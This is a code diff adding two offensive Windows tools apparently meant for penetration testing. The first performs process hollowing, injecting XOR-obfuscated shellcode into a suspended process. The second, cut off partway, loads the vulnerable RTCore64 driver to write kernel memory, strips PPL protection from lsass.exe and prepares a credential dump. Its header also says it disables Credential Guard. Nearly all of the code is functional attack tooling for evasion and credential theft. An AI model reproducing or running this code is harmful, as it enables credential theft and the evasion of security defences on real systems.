diff --git a/pentest/HollowReaper/HollowReaperNoBYOVD.c b/pentest/HollowReaper/HollowReaperNoBYOVD.c
@@ -0,0 +1,315 @@
+/*
+    Author: vari.sh
+    Description:
+       - This program implements process hollowing (it creates a suspended process,
+         injects a deobfuscated shellcode via XOR, and then resumes the thread).       
+
+    Usage: HollowReaperNoBYOVD.exe "C:\windows\explorer.exe"
+
+*/
+
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <psapi.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <tlhelp32.h>
+
+// =====================================================
+// API Deobfuscation Functions (XOR)
+// =====================================================
+
+// Function to decrypt a string (encrypted data is not null-terminated)
+char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
+{
+    char* result = (char*)malloc(len + 1);
+    if (!result) return NULL;
+    for (size_t i = 0; i < len; i++) {
+        result[i] = cipher[i] ^ key[i % key_len];
+    }
+    result[len] = '\0';
+    return result;
+}
+
+// Function to decrypt a buffer in-place (e.g., for shellcode)
+void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len)
+{
+    for (size_t i = 0; i < len; i++) {
+        buffer[i] ^= key[i % key_len];
+    }
+}
+
+// 1. "CreateProcessW" (14 characters)
+static const unsigned char CPW_ENC[] = {
+    0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
+};
+// 2. "ReadProcessMemory" (17 characters)
+static const unsigned char RPM_ENC[] = {
+    0x62, 0x54, 0x53, 0x57, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x2F, 0x06, 0x09, 0x0A, 0x14, 0x1E
+};
+// 3. "WriteProcessMemory" (18 characters)
+static const unsigned char WPM_ENC[] = {
+    0x67, 0x43, 0x5B, 0x47, 0x51, 0x65, 0x44, 0x58, 0x5B, 0x5C, 0x12, 0x11, 0x2E, 0x01, 0x08, 0x09, 0x15, 0x11
+};
+// 4. "ResumeThread" (12 characters)
+static const unsigned char RT_ENC[] = {
+    0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06
+};
+// 5. "ZwQueryInformationProcess" (25 characters)
+static const unsigned char ZQIP_ENC[] = {
+    0x6A, 0x46, 0x63, 0x46, 0x51, 0x47, 0x4F, 0x7E, 0x56, 0x5F, 0x0E, 0x10, 0x0E, 0x05, 0x11,
+    0x0F, 0x08, 0x06, 0x39, 0x18, 0x5F, 0x52, 0x57, 0x40, 0x47
+};
+
+typedef BOOL(WINAPI* PFN_CPW)(
+    LPCWSTR lpApplicationName,
+    LPWSTR lpCommandLine,
+    LPSECURITY_ATTRIBUTES lpProcessAttributes,
+    LPSECURITY_ATTRIBUTES lpThreadAttributes,
+    BOOL bInheritHandles,
+    DWORD dwCreationFlags,
+    LPVOID lpEnvironment,
+    LPCWSTR lpCurrentDirectory,
+    LPSTARTUPINFOW lpStartupInfo,
+    LPPROCESS_INFORMATION lpProcessInformation
+    );
+
+typedef BOOL(WINAPI* PFN_RPM)(
+    HANDLE hProcess,
+    LPCVOID lpBaseAddress,
+    LPVOID lpBuffer,
+    SIZE_T nSize,
+    SIZE_T* lpNumberOfBytesRead
+    );
+
+typedef BOOL(WINAPI* PFN_WPM)(
+    HANDLE hProcess,
+    LPVOID lpBaseAddress,
+    LPCVOID lpBuffer,
+    SIZE_T nSize,
+    SIZE_T* lpNumberOfBytesWritten
+    );
+
+typedef DWORD(WINAPI* PFN_RT)(HANDLE hThread);
+
+typedef LONG NTSTATUS;
+typedef NTSTATUS(WINAPI* PFN_ZQIP)(
+    HANDLE ProcessHandle,
+    ULONG ProcessInformationClass,
+    PVOID ProcessInformation,
+    ULONG ProcessInformationLength,
+    PULONG ReturnLength
+    );
+
+wchar_t* to_wide(const char* str) {
+    int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
+    if (len == 0) return NULL;
+    wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t));
+    if (!wstr) return NULL;
+    MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);
+    return wstr;
+}
+
+// =====================================================
+// Function to load clean versions of DLLs
+// =====================================================
+HMODULE LoadCleanDLL(char* dllPath) {
+
+    HMODULE hDLL = LoadLibraryA(dllPath);
+    if (hDLL)
+    {
+        printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
+    }
+    else
+    {
+        printf("[!] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
+    }
+
+    return hDLL;
+}
+
+// =====================================================
+// Main – Process Hollowing
+// =====================================================
+int main(int argc, char* argv[]) {
+    // Start
+    printf("[+] Starting HollowReaper\n");
+
+    // Enabling SeDebugPrivilege
+    HANDLE hToken = NULL;
+    LUID luid;
+    TOKEN_PRIVILEGES tp;
+    BOOL bResult;
+
+    printf("[*] Requesting SeDebugPrivilege...\n");
+    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
+        printf("[!] OpenProcessToken failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    if (!LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid)) {
+        printf("[!] LookupPrivilegeValue failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    tp.PrivilegeCount = 1;
+    tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
+    tp.Privileges->Luid = luid;
+    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)) {
+        printf("[!] AdjustTokenPrivileges failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    if (GetLastError() != ERROR_SUCCESS) {
+        printf("[!] AdjustTokenPrivileges reported an error: %lu\n", GetLastError());
+        return 1;
+    }
+    printf("[+] SeDebugPrivilege enabled.\n");
+
+    // Load clean versions of DLLs
+    char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll";
+    HANDLE hKernel32 = LoadCleanDLL(kernel32Path);
+
+    char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
+    HANDLE hNtdll = LoadCleanDLL(ntdllPath);
+
+    const char* XOR_KEY = "0123456789abcdefghij";
+    size_t key_len = strlen(XOR_KEY);
+
+    char* strCPW = (char*)malloc(sizeof(CPW_ENC));
+    char* strRPM = (char*)malloc(sizeof(RPM_ENC));
+    char* strWPM = (char*)malloc(sizeof(WPM_ENC));
+    char* strRT = (char*)malloc(sizeof(RT_ENC));
+    char* strZQIP = (char*)malloc(sizeof(ZQIP_ENC));
+    if (!strCPW || !strRPM || !strWPM || !strRT || !strZQIP) {
+        printf("[!] Memory allocation error\n");
+        return 1;
+    }
+    memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC));
+    memcpy(strRPM, RPM_ENC, sizeof(RPM_ENC));
+    memcpy(strWPM, WPM_ENC, sizeof(WPM_ENC));
+    memcpy(strRT, RT_ENC, sizeof(RT_ENC));
+    memcpy(strZQIP, ZQIP_ENC, sizeof(ZQIP_ENC));
+    // Deobfuscate API names
+    strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len);
+    strRPM = xor_decrypt_string((unsigned char*)strRPM, sizeof(RPM_ENC), XOR_KEY, key_len);
+    strWPM = xor_decrypt_string((unsigned char*)strWPM, sizeof(WPM_ENC), XOR_KEY, key_len);
+    strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len);
+    strZQIP = xor_decrypt_string((unsigned char*)strZQIP, sizeof(ZQIP_ENC), XOR_KEY, key_len);
+
+    PFN_CPW pCPW = (PFN_CPW)GetProcAddress(hKernel32, strCPW);
+    PFN_RPM pRPM = (PFN_RPM)GetProcAddress(hKernel32, strRPM);
+    PFN_WPM pWPM = (PFN_WPM)GetProcAddress(hKernel32, strWPM);
+    PFN_RT  pRT = (PFN_RT)GetProcAddress(hKernel32, strRT);
+    PFN_ZQIP pZQIP = (PFN_ZQIP)GetProcAddress(hNtdll, strZQIP);
+    if (!pCPW || !pRPM || !pWPM || !pRT || !pZQIP) {
+        printf("[!] Error retrieving API addresses.\n");
+        return 1;
+    }
+    free(strCPW); free(strRPM); free(strWPM); free(strRT); free(strZQIP);
+
+    // Obtain the target executable path (from command line or stdin)
+    char exePathA[MAX_PATH] = { 0 };
+    if (argc > 1) {
+        strncpy(exePathA, argv[1], MAX_PATH - 1);
+        printf("[+] Path provided from command line: %s\n", exePathA);
+    }
+    else {
+        printf("[*] Enter the full path of the executable: ");
+        if (!fgets(exePathA, sizeof(exePathA), stdin)) {
+            printf("[!] Error reading the path.\n");
+            return 1;
+        }
+        exePathA[strcspn(exePathA, "\r\n")] = '\0';
+    }
+    if (strlen(exePathA) == 0) {
+        printf("[!] Invalid path!\n");
+        return 1;
+    }
+    wchar_t* exePathW = to_wide(exePathA);
+    if (!exePathW) {
+        printf("[!] Error converting the path to Unicode.\n");
+        return 1;
+    }
+
+    // Create the process in a suspended state
+
+    STARTUPINFOW si;
+    PROCESS_INFORMATION pi;
+    ZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    ZeroMemory(&pi, sizeof(pi));
+    if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
+        printf("[!] Error creating the process, code: %lu\n", GetLastError());
+        free(exePathW);
+        return 1;
+    }
+    free(exePathW);
+    printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId);
+
+
+
+    // Retrieve the PEB via ZwQueryInformationProcess
+    typedef struct _PROCESS_BASIC_INFORMATION {
+        PVOID ExitStatus;
+        PVOID PebBaseAddress;
+        PVOID AffinityMask;
+        PVOID BasePriority;
+        ULONG_PTR UniqueProcessId;
+        PVOID InheritedFromUniqueProcessId;
+    } PROCESS_BASIC_INFORMATION;
+    PROCESS_BASIC_INFORMATION pbi;
+    ULONG retLen = 0;
+    NTSTATUS ntStatus = pZQIP(pi.hProcess, 0, &pbi, sizeof(pbi), &retLen);
+    if (ntStatus != 0) {
+        printf("[!] ZwQueryInformationProcess failed, NTSTATUS: 0x%lX\n", ntStatus);
+        return 1;
+    }
+    printf("[*] The process's PEB is located at: %p\n", pbi.PebBaseAddress);
+
+    // Read the ImageBaseAddress from the PEB
+    LPVOID imageBaseAddress = NULL;
+    SIZE_T bytesRead = 0;
+    LPCVOID addrImageBase = (LPCVOID)((char*)pbi.PebBaseAddress + 0x10);
+    if (!pRPM(pi.hProcess, addrImageBase, &imageBaseAddress, sizeof(imageBaseAddress), &bytesRead)) {
+        printf("[!] ReadProcessMemory (ImageBaseAddress) failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    printf("[*] The Image Base Address is: %p\n", imageBaseAddress);
+
+    // Read the PE header to obtain the EntryPoint
+    unsigned char headerBuffer[0x200] = { 0 };
+    if (!pRPM(pi.hProcess, imageBaseAddress, headerBuffer, sizeof(headerBuffer), &bytesRead)) {
+        printf("[!] ReadProcessMemory (PE header) failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    DWORD e_lfanew = *(DWORD*)(headerBuffer + 0x3C);
+    DWORD entryPointRVA = *(DWORD*)(headerBuffer + e_lfanew + 0x28);
+    LPVOID entryPointAddr = (LPVOID)((char*)imageBaseAddress + entryPointRVA);
+    printf("[*] The process EntryPoint is: %p\n", entryPointAddr);
+
+    // Prepare and write the shellcode (deobfuscated via XOR) into the EntryPoint
+    unsigned char shellcode_enc[] = {
+        0xD8, 0xF1, 0x67, 0x33, ...
+    };
+    size_t shellcode_len = sizeof(shellcode_enc);
+    // Deobfuscate the shellcode
+    xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);
+    SIZE_T bytesWritten = 0;
+    if (!pWPM(pi.hProcess, entryPointAddr, shellcode_enc, shellcode_len, &bytesWritten)) {
+        printf("[!] WriteProcessMemory failed, error: %lu\n", GetLastError());
+        return 1;
+    }
+    printf("[+] Shellcode written at the EntryPoint.\n");
+
+
+    // Resume the suspended process thread
+    DWORD suspendCount = pRT(pi.hThread);
+    printf("[+] Thread resumed, suspend count: %lu\n", suspendCount);
+
+    // Cleanup: close handles
+    CloseHandle(pi.hThread);
+    CloseHandle(pi.hProcess);
+
+    printf("[+] Operation completed.\n");
+    return 0;
+}
diff --git a/pentest/HollowReaper/LSASS_CDumper.c b/pentest/HollowReaper/LSASS_CDumper.c
@@ -0,0 +1,1153 @@
+/*
+
+    Author: vari.sh
+
+    Description: - This program impersonates SYSTEM and implements LSASS dump. Creates a log.txt file in C:\Users\Public.
+                 - Additionally, it uses primitives to access memory via the RTCore64 driver,
+                   and reads the EPROCESS structure of lsass.exe to verify the offsets needed for disabling PPL.
+                   It then writes the byte that disables PPL.
+                 - Finally it disables Credentials Guard using the approach of https://github.com/ricardojoserf/NativeBypassCredGuard
+
+*/
+
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <tlhelp32.h>
+#include <dbghelp.h>
+#include <stdio.h>
+#include <aclapi.h> 
+#include <psapi.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+
+
+// Logs
+static FILE* logfile;
+
+// Define the function pointer type for MiniDumpWriteDump
+typedef BOOL(WINAPI* PFN_MDWD)(
+    HANDLE hProcess,
+    DWORD ProcessId,
+    HANDLE hFile,
+    MINIDUMP_TYPE DumpType,
+    PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
+    PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
+    PMINIDUMP_CALLBACK_INFORMATION CallbackParam
+    );
+
+// =====================================================
+// Memory Access Primitives via RTCore64
+// =====================================================
+
+typedef struct _RTCORE64_MSR_READ {
+    DWORD Register;
+    DWORD ValueHigh;
+    DWORD ValueLow;
+} RTCORE64_MSR_READ;
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+_Static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
+#endif
+
+typedef struct _RTCORE64_MEMORY_READ {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+} RTCORE64_MEMORY_READ;
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+_Static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
+#endif
+
+typedef struct _RTCORE64_MEMORY_WRITE {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+} RTCORE64_MEMORY_WRITE;
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+_Static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
+#endif
+
+// IOCTL codes for RTCORE64
+static const DWORD RTC64_MSR_READ_CODE = 0x80002030;
+static const DWORD RTC64_MEMORY_READ_CODE = 0x80002048;
+static const DWORD RTC64_MEMORY_WRITE_CODE = 0x8000204c;
+
+DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
+    RTCORE64_MEMORY_READ memRead = { 0 };
+    memRead.Address = Address;
+    memRead.ReadSize = Size;
+    DWORD BytesReturned;
+    DeviceIoControl(Device,
+        RTC64_MEMORY_READ_CODE,
+        &memRead,
+        sizeof(memRead),
+        &memRead,
+        sizeof(memRead),
+        &BytesReturned,
+        NULL);
+    return memRead.Value;
+}
+
+void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
+    RTCORE64_MEMORY_WRITE memWrite = { 0 };
+    memWrite.Address = Address;
+    memWrite.ReadSize = Size;
+    memWrite.Value = Value;
+    DWORD BytesReturned;
+    DeviceIoControl(Device,
+        RTC64_MEMORY_WRITE_CODE,
+        &memWrite,
+        sizeof(memWrite),
+        &memWrite,
+        sizeof(memWrite),
+        &BytesReturned,
+        NULL);
+}
+
+WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
+    return (WORD)(ReadMemoryPrimitive(Device, 2, Address) & 0xffff);
+}
+
+DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
+    return ReadMemoryPrimitive(Device, 4, Address);
+}
+
+DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
+    return (((DWORD64)ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
+}
+
+void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
+    WriteMemoryPrimitive(Device, 4, Address, (DWORD)(Value & 0xffffffff));
+    WriteMemoryPrimitive(Device, 4, Address + 4, (DWORD)(Value >> 32));
+}
+
+// Helper function to read a memory buffer in 4-byte chunks
+BOOL ReadMemoryBuffer(HANDLE Device, DWORD64 Address, void* Buffer, DWORD BufferSize) {
+    DWORD numDwords = BufferSize / 4;
+    DWORD remainder = BufferSize % 4;
+    for (DWORD i = 0; i < numDwords; i++) {
+        ((DWORD*)Buffer)[i] = ReadMemoryDWORD(Device, Address + i * 4);
+    }
+    if (remainder) {
+        DWORD value = ReadMemoryPrimitive(Device, remainder, Address + numDwords * 4);
+        memcpy((BYTE*)Buffer + numDwords * 4, &value, remainder);
+    }
+    return TRUE;
+}
+
+// =====================================================
+// Retrieve the Base Address of ntoskrnl.exe via EnumDeviceDrivers
+// =====================================================
+unsigned long long getKBAddr() {
+    DWORD cbNeeded = 0;
+    PVOID* base = NULL;
+    if (EnumDeviceDrivers(NULL, 0, &cbNeeded)) {
+        base = (PVOID*)malloc(cbNeeded);
+        if (base) {
+            if (EnumDeviceDrivers(base, cbNeeded, &cbNeeded)) {
+                unsigned long long addr = (unsigned long long)base[0];
+                free(base);
+                return addr;
+            }
+            free(base);
+        }
+    }
+    return 0;
+}
+
+// =====================================================
+// OS Version Detection and Offsets setting
+// =====================================================
+
+// Structure containing the three useful offsets
+typedef struct _Offsets {
+    DWORD64 ActiveProcessLinks;  // Offset of the ActiveProcessLinks field in _EPROCESS
+    DWORD64 ImageFileName;       // Offset of the ImageFileName field in _EPROCESS
+    DWORD64 Protection;          // Offset of the Protection (PS_PROTECTION) field in _EPROCESS
+} Offsets;
+
+
+// Function to get the OS version
+int GetOSVersion() {
+    wchar_t CurrentBuild[255] = { 0 };
+    DWORD bufferSize = sizeof(CurrentBuild);
+    LONG ret = RegGetValueW(
+        HKEY_LOCAL_MACHINE,
+        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
+        L"CurrentBuild",
+        RRF_RT_REG_SZ,
+        NULL,
+        CurrentBuild,
+        &bufferSize
+    );
+    if (ret == ERROR_SUCCESS) {
+        fwprintf(logfile, L"[*] Windows Build %s detected\n", CurrentBuild);
+        return _wtoi(CurrentBuild);
+    }
+    else {
+        fwprintf(logfile, L"[ERROR] Unable to retrieve Windows Build. Error code: %ld\n", ret);
+        return -1;
+    }
+}
+
+// Function to get the offsets
+Offsets getOffsets() {
+    int build = GetOSVersion();
+
+    if (build < 0) {
+        exit(-1);
+    }
+
+    Offsets offs = { 0, 0, 0 };
+
+    // Offsets table for x64 (TODO)
+    if (build <= 14393) {              // Windows 10 version 1607 (Build 14393)
+        offs.ActiveProcessLinks = 0x0000;
+        offs.ImageFileName = 0x0000;
+        offs.Protection = 0x0000;
+    }
+    else if (build <= 17134) {       // Windows 10 version 1803 (Build 17134)
+        offs.ActiveProcessLinks = 0x0000;
+        offs.ImageFileName = 0x0000;
+        offs.Protection = 0x0000;
+    }
+    else if (build <= 17763) {       // Windows 10 version 1809 (Build 17763)
+        offs.ActiveProcessLinks = 0x0000;
+        offs.ImageFileName = 0x0000;
+        offs.Protection = 0x0000;
+    }
+    else if (build <= 18362) {       // Windows 10 version 1903 (Build 18362)
+        offs.ActiveProcessLinks = 0x0000;
+        offs.ImageFileName = 0x0000;
+        offs.Protection = 0x0000;
+    }
+    else if (build <= 18363) {       // Windows 10 version 1909 (Build 18363)
+        offs.ActiveProcessLinks = 0x0000;
+        offs.ImageFileName = 0x0000;
+        offs.Protection = 0x0000;
+    }
+    else if (build <= 19045) {       // Windows 10 version 22H2 (Build 19041)
+        offs.ActiveProcessLinks = 0x448;
+        offs.ImageFileName = 0x5a8;
+        offs.Protection = 0x87a;
+    }
+    else if (build <= 22631) {  // Windows 23H2
+        offs.ActiveProcessLinks = 0x448;
+        offs.ImageFileName = 0x5a8;
+        offs.Protection = 0x87a;
+    }
+    else if (build > 22631) {  // Windows 11 24H2 and above
+        offs.ActiveProcessLinks = 0x1d8;
+        offs.ImageFileName = 0x338;
+        offs.Protection = 0x5fa;
+    }
+    else {
+        wprintf(L"[ERROR] Offsets not defined for build %d on x64.\n", build);
+        exit(1);
+    }
+    return offs;
+}
+
+// =====================================================
+// Driver loading and unloading
+// =====================================================
+
+// Function to load and start the driver
+#define DRIVER_NAME "mDriver"
+#define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"
+#define DEVICE_NAME L"\\\\.\\RTCore64"
+
+// Helper function to open the Service Control Manager with the specified access rights
+SC_HANDLE OpenSCManagerHandle(DWORD dwAccess) {
+    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, dwAccess);
+    if (!hSCM) {
+        fprintf(logfile, "[ERROR] OpenSCManager failed. Error code: %lu\n", GetLastError());
+    }
+    return hSCM;
+}
+
+// Helper function to create or open the driver service
+SC_HANDLE CreateOrOpenDriverService(SC_HANDLE hSCM, const char* driverName, const char* driverPath) {
+    SC_HANDLE hService = CreateServiceA(
+        hSCM,
+        driverName,          // Internal service name
+        driverName,          // Display name
+        SERVICE_ALL_ACCESS,
+        SERVICE_KERNEL_DRIVER,
+        SERVICE_DEMAND_START,
+        SERVICE_ERROR_IGNORE,
+        driverPath,          // Full path to the driver file
+        NULL, NULL, NULL, NULL, NULL
+    );
+    if (!hService) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_EXISTS) {
+            hService = OpenServiceA(hSCM, driverName, SERVICE_ALL_ACCESS);
+            if (hService) {
+                fprintf(logfile, "[+] Existing service opened successfully.\n");
+            }
+            else {
+                fprintf(logfile, "[ERROR] Unable to open the existing service. Error code: %lu\n", GetLastError());
+            }
+        }
+        else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
+            fprintf(logfile, "[ERROR] Service is marked for deletion.\n");
+        }
+        else {
+            fprintf(logfile, "[ERROR] CreateService error. Error code: %lu\n", err);
+        }
+    }
+    else {
+        fprintf(logfile, "[+] Service created successfully.\n");
+    }
+    return hService;
+}
+
+// Function to load and start the driver
+int LoadAndStartDriver(void) {
+    SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_CREATE_SERVICE);
+    if (!hSCM)
+        return 1;
+
+    SC_HANDLE hService = CreateOrOpenDriverService(hSCM, DRIVER_NAME, DRIVER_PATH);
+    if (!hService) {
+        CloseServiceHandle(hSCM);
+        return 1;
+    }
+
+    // Start the driver service
+    if (!StartServiceA(hService, 0, NULL)) {
+        DWORD err = GetLastError();
+        if (err != ERROR_SERVICE_ALREADY_RUNNING) {
+            fprintf(logfile, "[ERROR] StartService error. Error code: %lu\n", err);
+            DeleteService(hService);
+            CloseServiceHandle(hService);
+            CloseServiceHandle(hSCM);
+            return 1;
+        }
+        else {
+            fprintf(logfile, "[*] Driver is already loaded.\n");
+        }
+    }
+    else {
+        fprintf(logfile, "[+] Driver loaded and started successfully.\n");
+    }
+
+    // Close the handles
+    CloseServiceHandle(hService);
+    CloseServiceHandle(hSCM);
+    return 0;
+}
+
+// Function to stop and unload the driver
+int StopAndUnloadDriver(const char* driverName) {
+    SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_ALL_ACCESS);
+    if (!hSCM)
+        return 1;
+
+    SC_HANDLE hService = OpenServiceA(hSCM, driverName, SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS);
+    if (!hService) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
+            fprintf(logfile, "[ERROR] Service does not exist.\n");
+            CloseServiceHandle(hSCM);
+            return 0;
+        }
+        else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
+            fprintf(logfile, "[*] Service is already marked for deletion.\n");
+            CloseServiceHandle(hSCM);
+            return 0;
+        }
+        else {
+            fprintf(logfile, "[ERROR] Error: %s.\n", err);
+            CloseServiceHandle(hSCM);
+            return 0;
+        }
+        fprintf(logfile, "[ERROR] OpenService failed. Error code: %lu\n", err);
+        CloseServiceHandle(hSCM);
+        return 1;
+
+    }
+
+    SERVICE_STATUS status;
+    if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_NOT_ACTIVE) {
+            fprintf(logfile, "[*] The service is not active.\n");
+        }
+        else {
+            fprintf(logfile, "[ERROR] ControlService (stop) failed. Error code: %lu\n", err);
+        }
+    }
+    else {
+        fprintf(logfile, "[+] Service stopped successfully.\n");
+    }
+
+    // Attempt to delete the service
+    if (!DeleteService(hService)) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
+            fprintf(logfile, "[*] Service is already marked for deletion.\n");
+        }
+        else {
+            fprintf(logfile, "[ERROR] DeleteService failed. Error code: %lu\n", err);
+            CloseServiceHandle(hService);
+            CloseServiceHandle(hSCM);
+            return 1;
+        }
+    }
+    else {
+        fprintf(logfile, "[+] Service deleted successfully.\n");
+    }
+
+    // Close the handles
+    CloseServiceHandle(hService);
+    CloseServiceHandle(hSCM);
+    return 0;
+}
+
+// =====================================================
+// Function to Read the EPROCESS Structure of lsass.exe
+// =====================================================
+
+void static disablePPL() {
+
+    Offsets offs = getOffsets();
+    if (offs.ActiveProcessLinks == 0 || offs.ImageFileName == 0 || offs.Protection == 0) {
+        fprintf(logfile, "[ERROR] Offset not mapped... exiting!\n");
+        exit(1);
+    }
+
+    HANDLE Device = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+    if (Device == INVALID_HANDLE_VALUE) {
+        fprintf(logfile, "[ERROR] Unable to obtain a handle to the device object\n");
+        return;
+    }
+    fprintf(logfile, "[*] Device handle obtained\n");
+
+    unsigned long long ntoskrnlBase = getKBAddr();
+    fprintf(logfile, "[*] ntoskrnl.exe base address: 0x%llx\n", ntoskrnlBase);
+
+    HMODULE hNtoskrnl = LoadLibraryW(L"ntoskrnl.exe");
+    if (!hNtoskrnl) {
+        fprintf(logfile, "[ERROR] Failed to load ntoskrnl.exe\n");
+        CloseHandle(Device);
+        return;
+    }
+    // Calculate the offset of the exported variable PsInitialSystemProcess
+    DWORD64 PsInitialSystemProcessOffset = (DWORD64)GetProcAddress(hNtoskrnl, "PsInitialSystemProcess") - (DWORD64)hNtoskrnl;
+    FreeLibrary(hNtoskrnl);
+
+    // Retrieve the address of the System process's EPROCESS
+    DWORD64 SystemProcessEPROCESS = ReadMemoryDWORD64(Device, ntoskrnlBase + PsInitialSystemProcessOffset);
+    fprintf(logfile, "[*] PsInitialSystemProcess (EPROCESS) address: 0x%llx\n", SystemProcessEPROCESS);
+
+    // Calculate the list head (located within the EPROCESS)
+    DWORD64 ListHead = SystemProcessEPROCESS + offs.ActiveProcessLinks;
+    DWORD64 CurrentEntry = ReadMemoryDWORD64(Device, ListHead); // First element of the list
+
+    while (CurrentEntry != ListHead) {
+        // The current EPROCESS address is obtained by subtracting the offset from the LIST_ENTRY pointer
+        DWORD64 eprocess = CurrentEntry - offs.ActiveProcessLinks;
+
+        // Read the ImageFileName field (15 bytes, as defined in the struct) and add a null terminator
+        char imageName[16] = { 0 };
+        ReadMemoryBuffer(Device, eprocess + offs.ImageFileName, imageName, 15);
+        imageName[15] = '\0';
+
+        if (_stricmp(imageName, "lsass.exe") == 0) {
+            fprintf(logfile, "[*] Found EPROCESS at 0x%llx\n", eprocess);
+            // Read the protection byte (PPL) from the EPROCESS
+            BYTE protection = (BYTE)ReadMemoryPrimitive(Device, 1, eprocess + offs.Protection);
+            fprintf(logfile, "[*] Protection value: 0x%02X\n", protection);
+
+            // To disable PPL, write 0x00 into this field.
+            // Warning: perform this operation only if you are sure the offsets are correct.
+            WriteMemoryPrimitive(Device, 1, eprocess + offs.Protection, 0x00);
+            fprintf(logfile, "[+] PPL disabled (0x00 written)\n");
+
+            // Read the protection byte (PPL) from the EPROCESS again
+            BYTE protection_post = (BYTE)ReadMemoryPrimitive(Device, 1, eprocess + offs.Protection);
+            fprintf(logfile, "[*] Protection value after write: 0x%02X\n", protection_post);
+
+            break;
+        }
+        // Move to the next element in the list
+        CurrentEntry = ReadMemoryDWORD64(Device, CurrentEntry);
+    }
+
+    CloseHandle(Device);
+}
+
+// =====================================================
+// Function to load clean versions of DLLs
+// =====================================================
+HMODULE LoadCleanDLL(char* dllPath) {
+
+    HMODULE hDLL = LoadLibraryA(dllPath);
+    if (hDLL)
+    {
+        fprintf(logfile, "[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
+    }
+    else
+    {
+        fprintf(logfile, "[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
+    }
+
+    return hDLL;
+}
+
+// =====================================================
+// Function to obtain a SYSTEM token
+// =====================================================
+BOOL GetSystemTokenAndDuplicate(HANDLE* hSystemToken) {
+    PROCESSENTRY32 pe = { 0 };
+    pe.dwSize = sizeof(PROCESSENTRY32);
+    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
